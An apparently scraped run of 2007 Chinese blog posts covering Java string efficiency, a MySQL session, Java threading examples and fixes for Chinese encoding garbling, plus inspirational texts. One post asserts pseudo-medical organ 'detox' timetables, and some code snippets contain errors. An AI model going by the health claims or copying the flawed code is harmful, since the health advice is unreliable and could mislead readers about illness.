        s1.equals(s2);       // true          // 内容相同
        s2 = s2.intern();    // true          // 找到对象(1) 并赋予s2
        s1 == s2;            // true !!       // 注意:此时s1,s2同指向(1)


    效率:String 与 StringBuffer

         情景1:
         (1) String result = "hello" + " world";
         (2) StringBuffer result = new String().append("hello").append(" world");

             (1) 的效率好于 (2),不要奇怪,这是因为JVM会做如下处理
             编译前    String result = "hello" + " world";
             编译后    String result = "hello world";


         情景2:
         (1) public String getString(String s1, String s2) {
                 return s1 + s2;
             }
         (2) public String getString(String s1, String s2) {
                 return new StringBuffer().append(s1).append(s2);
             }

             (1) 的效率与 (2) 一样,这是因为JVM会做如下处理
             编译前    return s1 + s2;
             编译后    return new StringBuffer().append(s1).append(s2);


         情景3:
         (1) String s = "s1";
                   s += "s2";
                   s += "s3";
         (2) StringBuffer s = new StringBuffer().append("s1").append("s2").append("s3");

             (2) 的效率好于(1),因为String是不可变对象,每次"+="操作都会造成构造新的String对象


         情景4:
         (1) StringBuffer s = new StringBuffer();
             for (int i = 0; i < 50000; i ++) {
                 s.append("hello");
             }
         (2) StringBuffer s = new StringBuffer(250000);
             for (int i = 0; i < 50000; i ++) {
                 s.append("hello");
             }
           
             (2) 的效率好于 (1),因为StringBuffer内部实现是char数组,默认初始化长度为16,每当字符串长度大于char
             数组长度的时候,JVM会构造更大的新数组,并将原先的数组内容复制到新数组,(2)避免了复制数组的开销
            

    关键点
         1). 简单的认为 .append() 效率好于 "+" 是错误的!
         2). 不要使用 new 创建 String
         3). 注意 .intern() 的使用
         4). 在编译期能够确定字符串值的情况下,使用"+"效率最高
         5). 避免使用 "+=" 来构造字符串
         6). 在声明StringBuffer对象的时候,指定合适的capacity,不要使用默认值(18)
         7). 注意以下二者的区别不一样
             - String s = "a" + "b";
             - String s = "a";
               s += "b";

    posted @ 2007-08-19 04:43 jadmin 阅读(41) | 评论 (0)编辑 收藏
    Enter password: ******
    Welcome to the MySQL monitor. Commands end with ; or \g.
    Your MySQL connection id is 2 to server version: 4.1.10-nt
    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.


    mysql> show databases
    -> ;
    +----------+
    | Database |
    +----------+
    | mysql |
    | test |
    +----------+
    2 rows in set (0.00 sec)
    mysql> create database soft;
    Query OK, 1 row affected (0.00 sec)
    mysql> show databases
    -> ;
    +----------+
    | Database |
    +----------+
    | mysql |
    | soft |
    | test |
    +----------+
    3 rows in set (0.00 sec)
    mysql> source info_web.sql
    ERROR 1046 (3D000): No database selected
    mysql> use soft;
    Database changed
    mysql> source info_web.sql
    Query OK, 0 rows affected (0.11 sec)
    mysql> source 2.sql;
    Query OK, 0 rows affected (0.08 sec)
    mysql> source 1.sql;
    Query OK, 0 rows affected (0.09 sec)
    mysql> show tables
    -> ;
    +----------------+
    | Tables_in_soft |
    +----------------+
    | info_web |
    | mainclass |
    | subclass |
    +----------------+
    3 rows in set (0.00 sec)
    mysql> show table info_web;
    ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
    corresponds to your MySQL server version for the right syntax to use near 'info_
    web' at line 1
    mysql>
    mysql> describe info_web;
    +------------+-------------+------+-----+---------------------+-------+
    | Field | Type | Null | Key | Default | Extra |
    +------------+-------------+------+-----+---------------------+-------+
    | id | varchar(32) | | PRI | | |
    | number | int(11) | YES | | NULL | |
    | iswarn | int(11) | YES | | NULL | |
    | title | text | YES | | NULL | |
    | power | int(11) | YES | | NULL | |
    | limit | int(11) | YES | | NULL | |
    | content | text | YES | | NULL | |
    | date | datetime | YES | | 0000-00-00 00:00:00 | |
    | persion_id | varchar(32) | YES | | NULL | |
    | visit_num | int(11) | YES | | NULL | |
    | pic_in | int(11) | YES | | NULL | |
    +------------+-------------+------+-----+---------------------+-------+
    11 rows in set (0.03 sec)
    mysql> describe mainclass
    -> ;
    +------------+--------------+------+-----+---------+----------------+
    | Field | Type | Null | Key | Default | Extra |
    +------------+--------------+------+-----+---------+----------------+
    | main_num | int(11) | | PRI | NULL | auto_increment |
    | main_name | varchar(32) | YES | | NULL | |
    | main_order | int(11) | YES | MUL | 0 | |
    | href | varchar(128) | YES | | NULL | |
    +------------+--------------+------+-----+---------+----------------+
    4 rows in set (0.00 sec)
    mysql> describe subclass;
    +----------+--------------+------+-----+---------+----------------+
    | Field | Type | Null | Key | Default | Extra |
    +----------+--------------+------+-----+---------+----------------+
    | sub_num | int(11) | | PRI | NULL | auto_increment |
    | main_num | int(11) | YES | MUL | NULL | |
    | sub_name | varchar(64) | YES | | NULL | |
    | href | varchar(128) | YES | | NULL | |
    | isuse | int(11) | YES | | NULL | |
    +----------+--------------+------+-----+---------+----------------+
    5 rows in set (0.00 sec)
    mysql>
    posted @ 2007-08-19 04:29 jadmin 阅读(39) | 评论 (0)编辑 收藏
      有些人原本一向身体健康,但在连续熬夜数晚后,突然第二天起床会觉得很疲劳,一闭眼就想睡觉,而且会腰酸背痛,但一到晚上精神又好起来!别以为这是小事!根据中医的看法,是因过劳而造成体内器官阴阳失调,就是体内器官起内讧,互相打架,最后造成器官衰竭而死。

      睡眠是身体进行自我调整的时刻,你侵略它的时间,它便侵略你的健康,希望过劳致死的事件可以不再发生。

      晚上9-11点为免疫系统(淋巴)排毒时间,此段时间应安静或听音乐。

      晚间11-凌晨1点,肝的排毒,需在熟睡中进行。

      凌晨1-3点,胆的排毒,亦同。

      凌晨3-5点,肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈,因排毒动作已走到肺;不应用止咳药,以免抑制废积物的排除。

      凌晨5-7点,大肠的排毒,应上厕所排便。

      早上7-9点,小肠大量吸收营养的时段,应吃早餐。疗病者最好早吃,在6点半前,养生者在7点半前,不吃早餐者应改变习惯,即使拖到9、10点吃都比不吃好。

      半夜至凌晨4点为脊椎造血时段,必须熟睡,不宜熬夜。
    posted @ 2007-08-18 17:47 jadmin 阅读(82) | 评论 (0)编辑 收藏
      1. 扎实的基础。数据结构、离散数学、编译原理,这些是所有计算机科学的基础,如果不掌握他们,很难写出高水平的程序。据我的观察,学计算机专业的人比学其他专业的人更能写出高质量的软件。程序人人都会写,但当你发现写到一定程度很难再提高的时候,就应该想想是不是要回过头来学学这些最基本的理论。不要一开始就去学OOP,即使你再精通OOP,遇到一些基本算法的时候可能也会束手无策。

      2. 丰富的想象力。不要拘泥于固定的思维方式,遇到问题的时候要多想几种解决问题的方案,试试别人从没想过的方法。丰富的想象力是建立在丰富的知识的基础上,除计算机以外,多涉猎其他的学科,比如天文、物理、数学等等。另外,多看科幻电影也是一个很好的途径。

      3. 最简单的是最好的。这也许是所有科学都遵循的一条准则,如此复杂的质能互换原理在爱因斯坦眼里不过是一个简单得不能再简单的公式:E=mc2。简单的方法更容易被人理解,更容易实现,也更容易维护。遇到问题时要优先考虑最简单的方案,只有简单方案不能满足要求时再考虑复杂的方案。

      4. 不钻牛角尖。当你遇到障碍的时候,不妨暂时远离电脑,看看窗外的风景,听听轻音乐,和朋友聊聊天。当我遇到难题的时候会去玩游戏,而且是那种极暴力的打斗类游戏,当负责游戏的那部分大脑细胞极度亢奋的时候,负责编程的那部分大脑细胞就得到了充分的休息。当重新开始工作的时候,我会发现那些难题现在竟然可以迎刃而解。

      5. 对答案的渴求。人类自然科学的发展史就是一个渴求得到答案的过程,即使只能知道答案的一小部分也值得我们去付出。只要你坚定信念,一定要找到问题的答案,你才会付出精力去探索,即使最后没有得到答案,在过程中你也会学到很多东西。

      6. 多与别人交流。三人行必有我师,也许在一次和别人不经意的谈话中,就可以迸出灵感的火花。多上上网,看看别人对同一问题的看法,会给你很大的启发。

      7. 良好的编程风格。注意养成良好的习惯,代码的缩进编排,变量的命名规则要始终保持一致。大家都知道如何排除代码中错误,却往往忽视了对注释的排错。注释是程序的一个重要组成部分,它可以使你的代码更容易理解,而如果代码已经清楚地表达了你的思想,就不必再加注释了,如果注释和代码不一致,那就更加糟糕。

      8. 韧性和毅力。这也许是"高手"和一般程序员最大的区别。A good programming is 99% sweat and 1% coffee。高手们并不是天才,他们是在无数个日日夜夜中磨练出来的。成功能给我们带来无比的喜悦,但过程却是无比的枯燥乏味。你不妨做个测试,找个10000以内的素数表,把它们全都抄下来,然后再检查三遍,如果能够不间断地完成这一工作,你就可以满足这一条。
    posted @ 2007-08-18 17:40 jadmin 阅读(55) | 评论 (0)编辑 收藏

    To laugh often and much;

    To win the respect of intelligent people and the affection of children;

    To earn the appreciation of honest critics and endure the betrayal of false friends;

    To appreciate beauty;

    To find the best in others;

    To leave the world a bit better, whether by a healthy child, a garden patch or a redeemed social condition;

    To know even one life has breathed easier because you have lived;

    This is to have succeeded.

    posted @ 2007-08-18 17:36 jadmin 阅读(63) | 评论 (0)编辑 收藏

    知识在于积累和实践,-正所谓"厚积薄发",我想应该是这个道理吧!

    旧的知识需要时刻温习,就像英语,你不看,不接触,迟早有一天会把它忘得干干净净

    从今天开始,每天进步一点点,毕竟"学习"是一辈子的事情,马虎不得!呵呵~~~

    posted @ 2007-08-18 16:56 jadmin 阅读(60) | 评论 (0)编辑 收藏

      The furthest distance in the world

      Is not between life and death

      But when I stand in front of you

      Yet you don’t know that

      I love you

      The furthest distance in the world

      Is not when i stand in font of you

      Yet you can’t see my love

      But when undoubtedly knowing the love from both

      Yet cannot

      Be togehter

      The furthest distance in the world

      Is not being apart while being in love

      But when plainly can not resist the yearning

      Yet pretending

      You have never been in my heart

      The furthest distance in the world

      Is not

      But using one’s indifferent heart

      To dig an uncrossable river

      For the one who loves you

      世界上最遥远的距离,不是生与死

      而是我就站在你的面前,你却不知道我爱你

      世界上最遥远的距离,不是我站在你面前,你却不知道我爱你

      而是明明知道彼此相爱,却不能在一起

      世界上最遥远的距离,不是明明知道彼此相爱,却不能在一起

      而是明明无法抵挡这股想念,却还得故意装作丝毫没有把你放在心里

      世界上最遥远的距离,不是明明无法抵挡这股想念,却还得故意装作丝毫没有把你放在心里,而是用自己冷漠的心对爱你的人掘了一条无法跨越的沟渠

    posted @ 2007-08-18 16:44 jadmin 阅读(56) | 评论 (0)编辑 收藏

    1.Compliment three people every day.每天赞美三个人。
    2.Watch a sunrise.看日出。
    3.Be the first to say "hello".先向别人打招呼。
    4.Live beneath your means.靠自己的力量生活。
    5.Treat everyone as your want to be treated.像自己希望得到的善待一样善待他人。
    6.Never give up on anybody;Miracles happen.不要放弃任何人;奇迹总会发生。
    7.Remember someone's name.记住别人的名字。
    8 .Pray not for things,but for wisdom and courage.不要乞求得到什么东西,但可以乞求智慧和勇气。
    9.Be tough-minded,but tender hearted.意志要坚强,但心地要善良。

    10.Be kinder than you have to be.仁慈,再仁慈一点。
    11.Don't forget that a person's greatest emotional need is to feel appreciated.不
    要忘记一个人最伟大的情感需要是得到别人的欣赏。
    12.Keep your promises.履行你的诺言。
    13.Show cheerfulness even when you don’t feel it.即使没有快乐的感觉,也要努力表现出来。
    14.Remember that overnight success usually takes 15 years.切记所谓的“一夜成名”通常需要付出“15年的努力”。
    15.Leave everything better than you found it.让一切变的更加美好。

    16.Remember that winners do what losers don't want to do.切记胜利者通常会做失败者不想做的事情。
    17.When you arrive at your job in the morning,let the first thing you say brighten everyone's day.早上到办公室时,先说一件能让每个人在一天中感到愉快的事。
    18.Don't rain on other people's parades.看到别人的辉煌时,不要抱怨。

    19.Don't waste an opportunity to tell someone you love them.抓住一切机会对别人说“我爱你”。
    20.Keep some things to yourself and don't promote have by hurting people you love.自己承受一些事情,不要让所爱的人受伤害。

    posted @ 2007-08-18 16:21 jadmin 阅读(41) | 评论 (0)编辑 收藏
    程序、进程和线程
         程序式计算机指令的集合,它以文件的形式存储在磁盘上
         进程:是一个程序在其自身的地址空间中的一次执行活动
         进程是资源申请、调度和独立运行的单位,因此,它使用系统中的运行资源;而程序不能申请系统资源,不能被系统调度,也不能作为独立运行的单位,因此,它不占有系统地运行资源
         线程:是进程中的一个单一的连续控制流程。一个进程可以拥有多个线程,但至少有一个线程
         线程又称为轻量级进程,它和进程一样拥有独立的执行控制,由操作系统负责调度,区别在于线程没有独立的存储空间,而是和所属进程中的其他线程共享一个存储空间,这使得线程间的通信远较进程简单
         单CPU下某一个时刻只能有一个线程在运行
       Java对多线程的支持
         Java在语言级提供了对多线程程序设计的支持
         实现多线程程序的两种方式:
           (1)从Thread类(java.lang包)继承:A thread is a thread of execution in a program.
           (2)实现Runnable接口
         Java运行时系统实现了一个用于调度线程执行的线程调度器(其他的语言一般是由OS调度的),用于确定某一时刻有哪一个线程在CPU上运行
         在Java技术中,线程通常是抢占式的而不需要时间片分配进程(分配给多个线程相等的CPU时间的进程)。抢占式调度模型就是许多线程处于可以运行状态(等待状态),但实际上只有一个线程在运行。该线程一只运行到它终止,进入可运行状态(等待状态),或者另一个具有更高优先级的线程变成可运行状态。在后一种情况下,低优先级的线程被高优先级的线程抢占,高优先级的线程获得运行的机会
         Java线程调度器支持不同优先级线程的抢占方式,但其本身不支持相同优先级线程的时间片轮换
         Java运行时系统所在的操作系统(例如:Windows2000)支持时间片的轮换,则线程调度器就支持相同优先级线程的时间片轮换
    ----------------------------------------------------------------------------------------------------
    实现多线程程序的一种方式:从Thread类继承
    class MultiThread
    {
            public static void main(String[] args)//main()方法也是在一个线程当中被执行的
            {
                  MyThread mt=new MyThread();
                  //mt.setDaemon(true);//将mt声明为后台线程。public final void setDaemon boolean on):Marks this thread as either a daemon thread or a user thread. The Java Virtual Machine exits when the only threads running are all daemon threads.This method must be called before the thread is started.on - if true, marks this thread as a daemon thread.
                  mt.setPriority(Thread.MAX_PRIORITY);//设置线程优先级void setPriority(int newPriority):Changes the priority of this thread;static int MAX_PRIORITY:The maximum priority that a thread can have.  
                  mt.start();//void start():Causes this thread to begin execution; the Java Virtual Machine calls the run method of this thread.
                  int index=0;
                  while(true)
                  {
                      if(index++==1000)
                          break;
                      System.out.println("main:"+Thread.currentThread().getName());//static Thread currentThread():Returns a reference to the currently executing thread object; String getName():Returns this thread's name.  
                  }
            }
    }
    class MyThread extends Thread//There are two ways to create a new thread of execution. One is to declare a class to be a subclass of Thread. This subclass should override the run method of class Thread.
    {
                  public void run()
                  {
                       while(true)      
                       {
                            System.out.println(getName());
                             //yield();//中止自己static void yield():Causes the currently executing thread object to temporarily pause and allow other threads to execute.
                       }
                  }
    }
    /*
    D:\java\L5>javac MultiThread.java
    D:\java\L5>java MultiThread
    main:main
    Thread-0
    在main()里,原本写的是先调用mt.start(),即启动mt线程,再打印main线程,但结果里是先打印出来了main线程。这是因为OS分配给main线程的时间片刚开始还没有用完,所以继续执行打印了main线程,等main线程的时间片执行完了,才执行的MyThread线程
    */
    -----------------------------------------------------------------------------------------------------------------
    实现多线程程序的另一种方式:实现Runnable接口The Runnable interface should be implemented by any class whose instances are intended to be executed by a thread. The class must define a method of no arguments called run.
    class MultiThread
    {
            public static void main(String[] args)
            {
                  MyThread mt=new MyThread();
                  new Thread(mt).start();//Thread的一个构造方法:Thread(Runnable target):Allocates a new Thread object.
                  int index=0;
                  while(true)
                  {
                      System.out.println("main:"+Thread.currentThread().getName());
                  }
            }
    }
    class MyThread implements Runnable//这个MyThread已经不是从Thread类派生来的了
    {
                  public void run()
                  {
                       while(true)      
                       {
                            System.out.println(Thread.currentThread().getName());
                       }
                  }
    }

    ------------------------------------------------------------------------------------------
       线程的同步
         The code segments within a program that access the same object from separate,conxurrent threads are called "critical sections"
         同步的两种方式:同步快和同步方法。不管是那种方式,都是用synchronized来实现的
         每一个对象都有一个监视器,或者叫做锁。同步方法利用的是this所代表的对象的锁。每个class也有一个锁,是这个class所对应的Class对象的锁
       wait、notify、notifyAll
         每一个对象出了一个锁之外,还有一个等待队列(wait set),当一个对象刚创建的时候,它的等待队列时空的
         我们应该在当前线程锁住对象的锁后,去掉用该对象的wait方法
         当调用对象的notify方法时,将从该对象的等待队列中删除一个任意选择的线程,这个线程将再次成为可运行的线程
         当调用对象的notifyAll方法时,将从该对象的等待队列中删除所有等待的线程,这些线程将成为可运行的线程
         wait和notify主要用于生产者—消费者这种关系中
    -------------------------------------------------------------------------------------------
    火车站售票系统
    class TicketsSystem
    {
                public static void main(String[] args)
                {
                    SellThread st=new SellThread();//同时卖这100张票,不是应该创建4个SellThread对象(SellThread st1=new SellThread()),因为如果是创建4个SellThread对象,那每个对象里都有100张票
                    new Thread(st).start();//创建4个线程同时卖这100张票
                    new Thread(st).start();
                    new Thread(st).start();
                    new Thread(st).start();
                }
    }
    class SellThread implements Runnable
    {
         int tickets=100;
         Object obj=new Object();
         public void run()
         {
             while(true)
          {
                 synchronized(obj)//可以用synchronized(this)
                 {        
                     if(tickets>0)
              {
                         try
                         {
                      Thread.sleep(10);
                         }
                  catch(Exception e)
           {
                         e.printStackTrace();
                  }
                         System.out.println(Thread.currentThread().getName()+
                                          " sell ticket:"+tickets);
                         tickets--;
                    }
            }
                //sell();
          }
    }
          public synchronized void sell()
          {
              if(tickets>0)
    {
       System.out.println(Thread.currentThread().getName()+
                            " sell ticket:"+tickets);
              tickets--;
             }
           }
    }
    posted @ 2007-08-18 14:02 jadmin 阅读(66) | 评论 (0)编辑 收藏

      为什么说乱码是中国程序员无法避免的话题呢?这个首先要从编码机制上说起,大家都是中文和英文的编码格式不是一样,解码也是不一样的!如果中国的程序员不会遇到乱码,那么只有使用汉语编程。汉语编程是怎么回事我也不大清楚,应该是前年吧,我一朋友给我介绍汉语编程,怎么不错不错?当时因为学习忙没去关注这个,等我闲了,那个朋友不弄这个,问他他也不说不大清楚,最后自己对这个学习也不了了之了。

    今天我写这个不是讲解中英文之间的差距,解码等,我是将我在这几年工作遇到各种各样的乱码的解决方法,总结一样,也希望大家能把自己晕倒解决乱码的方法都说出来,咱们弄一个解决乱码的“葵花宝典”。

      对于Java由于默认的编码方式是 UNICODE,所以用中文也易出问题,常见的解决是
    String s2 = new String(s1.getBytes(“ISO-8859-1”),”GBK”);

      1、utf8解决JSP中文乱码问题

      一般说来在每个页面的开始处,加入:

    <%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>

    <%
    request.setCharacterEncoding("UTF-8");
    %>

      charset=UTF-8 的作用是指定JSP向客户端输出的编码方式为“UTF-8”

      pageEncoding="UTF-8" 为了让JSP引擎能正确地解码含有中文字符的JSP页面,这在LINUX中很有效

      request.setCharacterEncoding("UTF-8"); 是对请求进行了中文编码

      有时,这样仍不能解决问题,还需要这样处理一下:

    String msg = request.getParameter("message");
    String str=new String(msg.getBytes("ISO-8859-1"),"UTF-8");
    out.println(st);

      2、Tomcat 5.5 中文乱码

      只要把%TOMCAT安装目录%/ webapps\servlets-examples\WEB-INF\classes\filters\SetCharacterEncodingFilter.class文件拷到你的webapp目录/filters下,如果没有filters目录,就创建一个。

      2)在你的web.xml里加入如下几行:

    <filter>
    <filter-name>Set Character Encoding</filter-name>
    <filter-class>filters.SetCharacterEncodingFilter</filter-class>
    <init-param>
    <param-name>encoding</param-name>
    <param-value>GBK</param-value>
    </init-param>
    </filter>
    <filter-mapping>
    <filter-name>Set Character Encoding</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>

      3)完成.

      2 get方式的解决办法

      1) 打开tomcat的server.xml文件,找到区块,加入如下一行:

    URIEncoding=”GBK”

      完整的应如下:
     
    <Connector
    port="80" maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
    enableLookups="false" redirectPort="8443" acceptCount="100"
    debug="0" connectionTimeout="20000"
    disableUploadTimeout="true"
    URIEncoding="GBK"
    />

     2)重启tomcat,一切OK。

      3、xmlHttpRequest中文问题

      页面jsp用的GBK编码

    <%@ page contentType="text/html; charset=GBK"%>

      javascript部分

    function addFracasReport() {
    var url="controler?actionId=0_06_03_01&actionFlag=0010";
    var urlmsg="&reportId="+fracasReport1.textReportId.value; //故障报告表编号

    var xmlHttp=Common.createXMLHttpRequest();
    xmlHttp.onreadystatechange = Common.getReadyStateHandler(xmlHttp, eval("turnAnalyPage"));
    xmlHttp.open("POST",url,true);
    xmlHttp.setRequestHeader( " Content-Type " , " application/x-www-form-urlencoded);
    xmlHttp.send(urlmsg);

    }

      后台java中获得的reportId是乱码,不知道该怎么转,主要是不知道xmlHttp.send(urlmsg); 以后是什么编码?在后面用java来转,试了几种,都没有成功,其中有:

    public static String UTF_8ToGBK(String str) {
    try {
    return new String(str.getBytes("UTF-8"), "GBK");
    } catch (Exception ex) {
    return null;
    }
    }

    public static String UTF8ToGBK(String str) {
    try {
    return new String(str.getBytes("UTF-16BE"), "GBK");
    } catch (Exception ex) {
    return null;
    }
    }

    public static String GBK(String str) {
    try {
    return new String(str.getBytes("GBK"),"GBK");
    } catch (Exception ex) {
    return null;
    }
    }
    public static String getStr(String str) {
    try {
    String temp_p = str;
    String temp = new String(temp_p.getBytes("ISO8859_1"), "GBK");
    temp = sqlStrchop(temp);
    return temp;
    } catch (Exception e) {
    return null;
    }
    }

      4、JDBC ODBC Bridge的Bug及其解决方法

      在编写一数据库管理程序时,发现JDBC-ODBC Bridge存在不易发现的Bug。在向数据表插入数据时,如果为英文字符,存储内容完全正确,如果存入中文字符,部分数据库只能存储前七八个中文字符,其他内容被截去,导致存储内容的不完整(有些数据库不存在这个问题,如Sybase SQL Anywhere 5.0。JDBC-ODBC Bridge还存在无法建表的Bug)。

      对于广大需要存储中文信息的Java程序员来说,这可是一个不好的消息。要么改用其他语言编程,要么选择其他价格昂贵的数据库产品。“一次编写,到处运行”的目标,也大打折扣。能不能采用变通的方法,将中文信息进行处理后再存储来解决这个问题呢?答案是肯定的。

      解决问题的具体思路、方法

      Java采用Unicode码编码方式,中英文字符均采用16bit存储。既然存储英文信息是正确的,根据一定规则,将中文信息转换成英文信息后存储,自然不会出现截尾现象。读取信息时再进行逆向操作,将英文信息还原成中文信息即可。由GB2312编码规则可知,汉字一般为二个高位为1的ASCII码,在转换时将一个汉字的二个高位1去掉,还原时再将二个高位1加上。为了处理含有英文字符的中文字串,对英文字符则需要加上一个Byte 0标记。以下提供的两个公用静态方法,可加入任何一个类中使用。

      将中英文字串转换成纯英文字串

      public static String toTureAsciiStr(String str){

      StringBuffer sb = new StringBuffer();

      byte[] bt = str.getBytes();

      for(int i =0 ; i〈bt.length; i++){

      if(bt[i]〈0){

      //是汉字去高位1

      sb.append((char)(bt[i]&&0x7f));

       }else{//是英文字符 补0作记录

      sb.append((char)0);

      sb.append((char)bt[i]);

       }

       }

      return sb.toString();

      }

      将经转换的字串还原

      public static String unToTrueAsciiStr(String str){

       byte[] bt = str.getBytes();

       int i,l=0,length = bt.length,j=0;

       for(i = 0; i〈length; i++){

       if(bt[i] == 0){

       l++;

       }

       }

       byte []bt2 = new byte[length-l];

       for(i =0 ; i〈length; i++){

       if(bt[i] == 0){

       i++;

       bt2[j] = bt[i];

       }else{

       bt2[j] = (byte)(bt[i]|0x80);

       }

       j++;

       }

      String tt = new String(bt2);

      return tt;

      }

      上例在实际编程中效果很好,只是存储的中文信息需要经过同样处理,才能被其他系统使用。而且如果中文字串出现英文字符,实际上增加了额外的存储空间。

      5、Solaris下Servlet编程的中文问题及解决办法

      在使用Java开发Internet上的一个应用系统时,发现在Windows下调试完全正常的Servlet,上传到Solaris 服务器上,运行却出现故障——返回的网页不能显示中文,应为中文的信息全为乱码;用中文信息做关键字,不能正确检索数据库。后来采用加入检查代码等方法探知故障原因如下:

      显示乱码主要是因为通过类 HttpServletResponse提供的方法setContentType 无法改变返回给客户的数据的编码方式,正确的编码方式应为GB2312或者GBK,而事实上为缺省的ISO8859-1。无法检索中文信息则是因为,客户提交的中文信息经浏览器编码到达服务器后,Servlet无法将其正确解码。

      举例说明显示乱码解决方法

      Servlet 一般通常做法如下:

      public class ZldTestServlet extends HttpServlet {

      public void doGet (HttpServletRequest request,HttpServletResponse response)throws ServletException, IOException{

      //在使用 Writer向浏览器返回数据前,设置 content-type header ,在这里设置相应的字符集gb2312

      response.setContentType("text/html; charset=gb2312");

      PrintWriter out = response.getWriter(); //*

      // 正式返回数据

      out.println("〈html〉〈head〉〈title〉Servlet test〈/title〉〈/head〉" );

      out.println("这是一个测试页!");

      out.println("〈/body〉〈/html〉");

      out.close();

      }

       ...

      }

      解决页面显示乱码问题,需将*处代码换成如下内容:

      PrintWriter out = new PrintWriter(new OutputStreamWriter(response.getOutputStream(),"gb2312"));

      Solaris中文信息检索问题的解决
      浏览器利用表单向服务器提交信息时,一般采用x-www-form-urlencoded 的MIME格式对数据进行编码。如果使用get方法,参数名称和参数值经编码后附加在URL后,在Java中称作查询串(query string)。

      在Servlet程序中,如果采用ServletRequest的方法getParameter取得参数值,在Solaris环境下,对汉字却不能正确解码。因而无法正确检索数据库。

      在Java 1.2的包——java.net中提供了URLEncode和URLDecode类。类URLEncode提供了按x-www-form-urlencoded格式对给定串进行转换的方法。类URLEncode则提供了逆方法。

      6、Common Mail乱码问题

      common mail是一个小而方便的mail包,他实现了对Java Mail的封装,使用起来十分的方便,但是我在使用他的时候发现,使用纯文本的内容发送,结果是乱码,代码如下:

    public class TestCommonMail {
    public static void main(String[] args) throws EmailException, MessagingException {
    SimpleEmail email = new SimpleEmail();
    email.setCharset("GB2312");
    email.setHostName("smtp.163.com");
    email.setSubject("test");
    email.addTo("test@163.com");
    email.setFrom("test@163.com");
    email.setMsg("我的测试");
    email.setAuthentication("test", "test");
    email.send();
    }
    }

    分析了一下commons mail的源码找到了原因。源码如下:

    public class SimpleEmail extends Email
    {
    public Email setMsg(String msg) throws EmailException, MessagingException
    {
    if (EmailUtils.isEmpty(msg))
    {
    throw new EmailException("Invalid message supplied");
    }

    setContent(msg, TEXT_PLAIN);
    return this;
    }
    }

    Email代码片段

    public void setContent(Object aObject, String aContentType)
    {
    this.content = aObject;
    if (EmailUtils.isEmpty(aContentType))
    {
    this.contentType = null;
    }
    else
    {
    // set the content type
    this.contentType = aContentType;

    // set the charset if the input was properly formed
    String strMarker = "; charset=";
    int charsetPos = aContentType.toLowerCase().indexOf(strMarker);
    if (charsetPos != -1)
    {
    // find the next space (after the marker)
    charsetPos += strMarker.length();
    int intCharsetEnd =
    aContentType.toLowerCase().indexOf(" ", charsetPos);

    if (intCharsetEnd != -1)
    {
    this.charset =
    aContentType.substring(charsetPos, intCharsetEnd);
    }
    else
    {
    this.charset = aContentType.substring(charsetPos);
    }
    }
    }
    }

    email.send(); 的send方法将调用
    public void buildMimeMessage() throws EmailException
    {
    try
    {
    this.getMailSession();
    this.message = new MimeMessage(this.session);

    if (EmailUtils.isNotEmpty(this.subject))
    {
    if (EmailUtils.isNotEmpty(this.charset))
    {
    this.message.setSubject(this.subject, this.charset);
    }
    else
    {
    this.message.setSubject(this.subject);
    }
    }

    // ========================================================
    // Start of replacement code
    if (this.content != null)
    {
    this.message.setContent(this.content, this.contentType);
    }
    // end of replacement code
    // ========================================================
    else if (this.emailBody != null)
    {
    this.message.setContent(this.emailBody);
    }
    else
    {
    this.message.setContent("", Email.TEXT_PLAIN);
    }

    if (this.fromAddress != null)
    {
    this.message.setFrom(this.fromAddress);
    }
    else
    {
    throw new EmailException("Sender address required");
    }

    if (this.toList.size() + this.ccList.size() + this.bccList.size() == 0)
    {
    throw new EmailException(
    "At least one receiver address required");
    }

    if (this.toList.size() > 0)
    {
    this.message.setRecipients(
    Message.RecipientType.TO,
    this.toInternetAddressArray(this.toList));
    }

    if (this.ccList.size() > 0)
    {
    this.message.setRecipients(
    Message.RecipientType.CC,
    this.toInternetAddressArray(this.ccList));
    }

    if (this.bccList.size() > 0)
    {
    this.message.setRecipients(
    Message.RecipientType.BCC,
    this.toInternetAddressArray(this.bccList));
    }

    if (this.replyList.size() > 0)
    {
    this.message.setReplyTo(
    this.toInternetAddressArray(this.replyList));
    }

    if (this.headers.size() > 0)
    {
    Iterator iterHeaderKeys = this.headers.keySet().iterator();
    while (iterHeaderKeys.hasNext())
    {
    String name = (String) iterHeaderKeys.next();
    String value = (String) headers.get(name);
    this.message.addHeader(name, value);
    }
    }

    if (this.message.getSentDate() == null)
    {
    this.message.setSentDate(getSentDate());
    }

    if (this.popBeforeSmtp)
    {
    Store store = session.getStore("pop3");
    store.connect(this.popHost, this.popUsername, this.popPassword);
    }
    }
    catch (MessagingException me)
    {
    throw new EmailException(me);
    }
    }
    由代码可以知道纯文本方式最终调用了Java Mail的
    message.setContent(this.content, this.contentType);
    content是内容
    contentType是类型,如text/plain,
    (我们可以试试直接用Java mail发邮件,设置文本内容不使用setText方法,也使用setContent("测试", "text/plain")方式,你可以看到内容也是乱码)

      关键就在于text/plain,我们改成text/plain; charset=gb2312,ok乱码解决了。在commons mail我们看SimpleEmail 类中setMsg方法调用的就是 setContent(msg, TEXT_PLAIN); 我们只需要将Email类中的常量TEXT_PLAIN修改一下加入 charset=你的字符集 ,重新打包jar,这样就可以了

      7、toad的字符集的设置与oracle的安装

      oracle数据库服务器的安装一般是中文字符集,有时安装在不同的平台下,设置为ISO编码,toad是oracle开发的最好工具,不是我说的,可是中文环境下安装的toad,打开英文字符的oracle时,中文全是乱码。必须进行设置

    环境变量---〉系统变量

    NLS_lANG=SIMPLIFIED CHINESE_CHINA.ZHS16GBK

    NLS_lANG=AMERICAN_AMERICA.WE8ISO8859P1

    AMERICAN_AMERICA.WE8MSWIN1252

    或者

    打开注册表,点击HKEY_LOCAL_MATHINE
    再点击Software,再点击ORACLE
    在点击HOME(ORACLE所在目录)
    在注册表的右半面有NLS_LANG,
    双击它,将你想要的覆盖掉原来的就可以了
    最好记下旧的,以便可以改回来。

    connect sys/chang_on_install
    update props$
    set value$='ZHS16CGB231280'
    where name='NLS_CHARACTERSET';
    commit;
    这样就OK了

      8、如何解決GWT(google web toolkit)中文的問題

      GWT 中文乱码解决方法

    1.把你要显示的中文“测试字符串”输入到一个文件,如:1.txt
